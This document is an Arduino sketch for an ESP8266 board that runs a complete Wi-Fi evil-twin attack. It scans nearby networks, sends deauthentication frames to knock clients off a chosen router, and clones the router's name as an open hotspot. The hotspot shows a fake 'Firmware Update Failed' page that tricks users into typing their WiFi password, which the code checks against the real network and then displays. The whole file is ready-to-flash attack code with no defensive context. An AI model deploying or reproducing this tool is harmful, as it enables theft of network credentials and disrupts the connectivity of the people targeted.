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ESP8266_PhiSiFi.ino
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ESP8266_PhiSiFi.ino
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#include <Arduino.h>
#include <ESP8266WiFi.h>
#include <DNSServer.h>
#include <ESP8266WebServer.h>
#include <ESP8266HTTPClient.h>
extern "C" {
#include "user_interface.h"
}
typedef struct
{
String ssid;
uint8_t ch;
uint8_t bssid[6];
} _Network;
const byte DNS_PORT = 53;
IPAddress apIP(192, 168, 1, 1);
DNSServer dnsServer;
ESP8266WebServer webServer(80);
_Network _networks[16];
_Network _selectedNetwork;
void clearArray() {
for (int i = 0; i < 16; i++) {
_Network _network;
_networks[i] = _network;
}
}
String _correct = "";
String _tryPassword = "";
// Default main strings
#define SUBTITLE "ACCESS POINT RESCUE MODE"
#define TITLE "<warning style='text-shadow: 1px 1px black;color:yellow;font-size:7vw;'>⚠</warning> Firmware Update Failed"
#define BODY "Your router encountered a problem while automatically installing the latest firmware update.<br><br>To revert the old firmware and manually update later, please verify your password."
String header(String t) {
String a = String(_selectedNetwork.ssid);
String CSS = "article { background: #f2f2f2; padding: 1.3em; }"
"body { color: #333; font-family: Century Gothic, sans-serif; font-size: 18px; line-height: 24px; margin: 0; padding: 0; }"
"div { padding: 0.5em; }"
"h1 { margin: 0.5em 0 0 0; padding: 0.5em; font-size:7vw;}"
"input { width: 100%; padding: 9px 10px; margin: 8px 0; box-sizing: border-box; border-radius: 0; border: 1px solid #555555; border-radius: 10px; }"
"label { color: #333; display: block; font-style: italic; font-weight: bold; }"
"nav { background: #0066ff; color: #fff; display: block; font-size: 1.3em; padding: 1em; }"
"nav b { display: block; font-size: 1.5em; margin-bottom: 0.5em; } "
"textarea { width: 100%; }"
;
String h = "<!DOCTYPE html><html>"
"<head><title><center>" + a + " :: " + t + "</center></title>"
"<meta name=viewport content=\"width=device-width,initial-scale=1\">"
"<style>" + CSS + "</style>"
"<meta charset=\"UTF-8\"></head>"
"<body><nav><b>" + a + "</b> " + SUBTITLE + "</nav><div><h1>" + t + "</h1></div><div>";
return h;
}
String footer() {
return "</div><div class=q><a>© All rights reserved.</a></div>";
}
String index() {
return header(TITLE) + "<div>" + BODY + "</ol></div><div><form action='/' method=post><label>WiFi password:</label>" +
"<input type=password id='password' name='password' minlength='8'></input><input type=submit value=Continue></form>" + footer();
}
void setup() {
Serial.begin(115200);
WiFi.mode(WIFI_AP_STA);
wifi_promiscuous_enable(1);
WiFi.softAPConfig(IPAddress(192, 168, 4, 1) , IPAddress(192, 168, 4, 1) , IPAddress(255, 255, 255, 0));
WiFi.softAP("WiPhi_34732", "d347h320");
dnsServer.start(53, "*", IPAddress(192, 168, 4, 1));
webServer.on("/", handleIndex);
webServer.on("/result", handleResult);
webServer.on("/admin", handleAdmin);
webServer.onNotFound(handleIndex);
webServer.begin();
}
void performScan() {
int n = WiFi.scanNetworks();
clearArray();
if (n >= 0) {
for (int i = 0; i < n && i < 16; ++i) {
_Network network;
network.ssid = WiFi.SSID(i);
for (int j = 0; j < 6; j++) {
network.bssid[j] = WiFi.BSSID(i)[j];
}
network.ch = WiFi.channel(i);
_networks[i] = network;
}
}
}
bool hotspot_active = false;
bool deauthing_active = false;
void handleResult() {
String html = "";
if (WiFi.status() != WL_CONNECTED) {
if (webServer.arg("deauth") == "start") {
deauthing_active = true;
}
webServer.send(200, "text/html", "<html><head><script> setTimeout(function(){window.location.href = '/';}, 4000); </script><meta name='viewport' content='initial-scale=1.0, width=device-width'><body><center><h2><wrong style='text-shadow: 1px 1px black;color:red;font-size:60px;width:60px;height:60px'>⊗</wrong><br>Wrong Password</h2><p>Please, try again.</p></center></body> </html>");
Serial.println("Wrong password tried!");
} else {
_correct = "Successfully got password for: " + _selectedNetwork.ssid + " Password: " + _tryPassword;
hotspot_active = false;
dnsServer.stop();
int n = WiFi.softAPdisconnect (true);
Serial.println(String(n));
WiFi.softAPConfig(IPAddress(192, 168, 4, 1) , IPAddress(192, 168, 4, 1) , IPAddress(255, 255, 255, 0));
WiFi.softAP("WiPhi_34732", "d347h320");
dnsServer.start(53, "*", IPAddress(192, 168, 4, 1));
Serial.println("Good password was entered !");
Serial.println(_correct);
}
}
String _tempHTML = "<html><head><meta name='viewport' content='initial-scale=1.0, width=device-width'>"
"<style> .content {max-width: 500px;margin: auto;}table, th, td {border: 1px solid black;border-collapse: collapse;padding-left:10px;padding-right:10px;}</style>"
"</head><body><div class='content'>"
"<div><form style='display:inline-block;' method='post' action='/?deauth={deauth}'>"
"<button style='display:inline-block;'{disabled}>{deauth_button}</button></form>"
"<form style='display:inline-block; padding-left:8px;' method='post' action='/?hotspot={hotspot}'>"
"<button style='display:inline-block;'{disabled}>{hotspot_button}</button></form>"
"</div></br><table><tr><th>SSID</th><th>BSSID</th><th>Channel</th><th>Select</th></tr>";
void handleIndex() {
if (webServer.hasArg("ap")) {
for (int i = 0; i < 16; i++) {
if (bytesToStr(_networks[i].bssid, 6) == webServer.arg("ap") ) {
_selectedNetwork = _networks[i];
}
}
}
if (webServer.hasArg("deauth")) {
if (webServer.arg("deauth") == "start") {
deauthing_active = true;
} else if (webServer.arg("deauth") == "stop") {
deauthing_active = false;
}
}
if (webServer.hasArg("hotspot")) {
if (webServer.arg("hotspot") == "start") {
hotspot_active = true;
dnsServer.stop();
int n = WiFi.softAPdisconnect (true);
Serial.println(String(n));
WiFi.softAPConfig(IPAddress(192, 168, 4, 1) , IPAddress(192, 168, 4, 1) , IPAddress(255, 255, 255, 0));
WiFi.softAP(_selectedNetwork.ssid.c_str());
dnsServer.start(53, "*", IPAddress(192, 168, 4, 1));
} else if (webServer.arg("hotspot") == "stop") {
hotspot_active = false;
dnsServer.stop();
int n = WiFi.softAPdisconnect (true);
Serial.println(String(n));
WiFi.softAPConfig(IPAddress(192, 168, 4, 1) , IPAddress(192, 168, 4, 1) , IPAddress(255, 255, 255, 0));
WiFi.softAP("WiPhi_34732", "d347h320");
dnsServer.start(53, "*", IPAddress(192, 168, 4, 1));
}
return;
}
if (hotspot_active == false) {
String _html = _tempHTML;
for (int i = 0; i < 16; ++i) {
if ( _networks[i].ssid == "") {
break;
}
_html += "<tr><td>" + _networks[i].ssid + "</td><td>" + bytesToStr(_networks[i].bssid, 6) + "</td><td>" + String(_networks[i].ch) + "<td><form method='post' action='/?ap=" + bytesToStr(_networks[i].bssid, 6) + "'>";
if (bytesToStr(_selectedNetwork.bssid, 6) == bytesToStr(_networks[i].bssid, 6)) {
_html += "<button style='background-color: #90ee90;'>Selected</button></form></td></tr>";
} else {
_html += "<button>Select</button></form></td></tr>";
}
}
if (deauthing_active) {
_html.replace("{deauth_button}", "Stop deauthing");
_html.replace("{deauth}", "stop");
} else {
_html.replace("{deauth_button}", "Start deauthing");
_html.replace("{deauth}", "start");
}
if (hotspot_active) {
_html.replace("{hotspot_button}", "Stop EvilTwin");
_html.replace("{hotspot}", "stop");
} else {
_html.replace("{hotspot_button}", "Start EvilTwin");
_html.replace("{hotspot}", "start");
}
if (_selectedNetwork.ssid == "") {
_html.replace("{disabled}", " disabled");
} else {
_html.replace("{disabled}", "");
}
_html += "</table>";
if (_correct != "") {
_html += "</br><h3>" + _correct + "</h3>";
}
_html += "</div></body></html>";
webServer.send(200, "text/html", _html);
} else {
if (webServer.hasArg("password")) {
_tryPassword = webServer.arg("password");
if (webServer.arg("deauth") == "start") {
deauthing_active = false;
}
delay(1000);
WiFi.disconnect();
WiFi.begin(_selectedNetwork.ssid.c_str(), webServer.arg("password").c_str(), _selectedNetwork.ch, _selectedNetwork.bssid);
webServer.send(200, "text/html", "<!DOCTYPE html> <html><script> setTimeout(function(){window.location.href = '/result';}, 15000); </script></head><body><center><h2 style='font-size:7vw'>Verifying integrity, please wait...<br><progress value='10' max='100'>10%</progress></h2></center></body> </html>");
if (webServer.arg("deauth") == "start") {
deauthing_active = true;
}
} else {
webServer.send(200, "text/html", index());
}
}
}
void handleAdmin() {
String _html = _tempHTML;
if (webServer.hasArg("ap")) {
for (int i = 0; i < 16; i++) {
if (bytesToStr(_networks[i].bssid, 6) == webServer.arg("ap") ) {
_selectedNetwork = _networks[i];
}
}
}
if (webServer.hasArg("deauth")) {
if (webServer.arg("deauth") == "start") {
deauthing_active = true;
} else if (webServer.arg("deauth") == "stop") {
deauthing_active = false;
}
}
if (webServer.hasArg("hotspot")) {
if (webServer.arg("hotspot") == "start") {
hotspot_active = true;
dnsServer.stop();
int n = WiFi.softAPdisconnect (true);
Serial.println(String(n));
WiFi.softAPConfig(IPAddress(192, 168, 4, 1) , IPAddress(192, 168, 4, 1) , IPAddress(255, 255, 255, 0));
WiFi.softAP(_selectedNetwork.ssid.c_str());
dnsServer.start(53, "*", IPAddress(192, 168, 4, 1));
} else if (webServer.arg("hotspot") == "stop") {
hotspot_active = false;
dnsServer.stop();
int n = WiFi.softAPdisconnect (true);
Serial.println(String(n));
WiFi.softAPConfig(IPAddress(192, 168, 4, 1) , IPAddress(192, 168, 4, 1) , IPAddress(255, 255, 255, 0));
WiFi.softAP("WiPhi_34732", "d347h320");
dnsServer.start(53, "*", IPAddress(192, 168, 4, 1));
}
return;
}
for (int i = 0; i < 16; ++i) {
if ( _networks[i].ssid == "") {
break;
}
_html += "<tr><td>" + _networks[i].ssid + "</td><td>" + bytesToStr(_networks[i].bssid, 6) + "</td><td>" + String(_networks[i].ch) + "<td><form method='post' action='/?ap=" + bytesToStr(_networks[i].bssid, 6) + "'>";
if ( bytesToStr(_selectedNetwork.bssid, 6) == bytesToStr(_networks[i].bssid, 6)) {
_html += "<button style='background-color: #90ee90;'>Selected</button></form></td></tr>";
} else {
_html += "<button>Select</button></form></td></tr>";
}
}
if (deauthing_active) {
_html.replace("{deauth_button}", "Stop deauthing");
_html.replace("{deauth}", "stop");
} else {
_html.replace("{deauth_button}", "Start deauthing");
_html.replace("{deauth}", "start");
}
if (hotspot_active) {
_html.replace("{hotspot_button}", "Stop EvilTwin");
_html.replace("{hotspot}", "stop");
} else {
_html.replace("{hotspot_button}", "Start EvilTwin");
_html.replace("{hotspot}", "start");
}
if (_selectedNetwork.ssid == "") {
_html.replace("{disabled}", " disabled");
} else {
_html.replace("{disabled}", "");
}
if (_correct != "") {
_html += "</br><h3>" + _correct + "</h3>";
}
_html += "</table></div></body></html>";
webServer.send(200, "text/html", _html);
}
String bytesToStr(const uint8_t* b, uint32_t size) {
String str;
const char ZERO = '0';
const char DOUBLEPOINT = ':';
for (uint32_t i = 0; i < size; i++) {
if (b[i] < 0x10) str += ZERO;
str += String(b[i], HEX);
if (i < size - 1) str += DOUBLEPOINT;
}
return str;
}
unsigned long now = 0;
unsigned long wifinow = 0;
unsigned long deauth_now = 0;
uint8_t broadcast[6] = { 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF };
uint8_t wifi_channel = 1;
void loop() {
dnsServer.processNextRequest();
webServer.handleClient();
if (deauthing_active && millis() - deauth_now >= 1000) {
wifi_set_channel(_selectedNetwork.ch);
uint8_t deauthPacket[26] = {0xC0, 0x00, 0x00, 0x00, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x00, 0x00, 0x01, 0x00};
memcpy(&deauthPacket[10], _selectedNetwork.bssid, 6);
memcpy(&deauthPacket[16], _selectedNetwork.bssid, 6);
deauthPacket[24] = 1;
Serial.println(bytesToStr(deauthPacket, 26));
deauthPacket[0] = 0xC0;
Serial.println(wifi_send_pkt_freedom(deauthPacket, sizeof(deauthPacket), 0));
Serial.println(bytesToStr(deauthPacket, 26));
deauthPacket[0] = 0xA0;
Serial.println(wifi_send_pkt_freedom(deauthPacket, sizeof(deauthPacket), 0));
deauth_now = millis();
}
if (millis() - now >= 15000) {
performScan();
now = millis();
}
if (millis() - wifinow >= 2000) {
if (WiFi.status() != WL_CONNECTED) {
Serial.println("BAD");
} else {
Serial.println("GOOD");
}
wifinow = millis();
}
}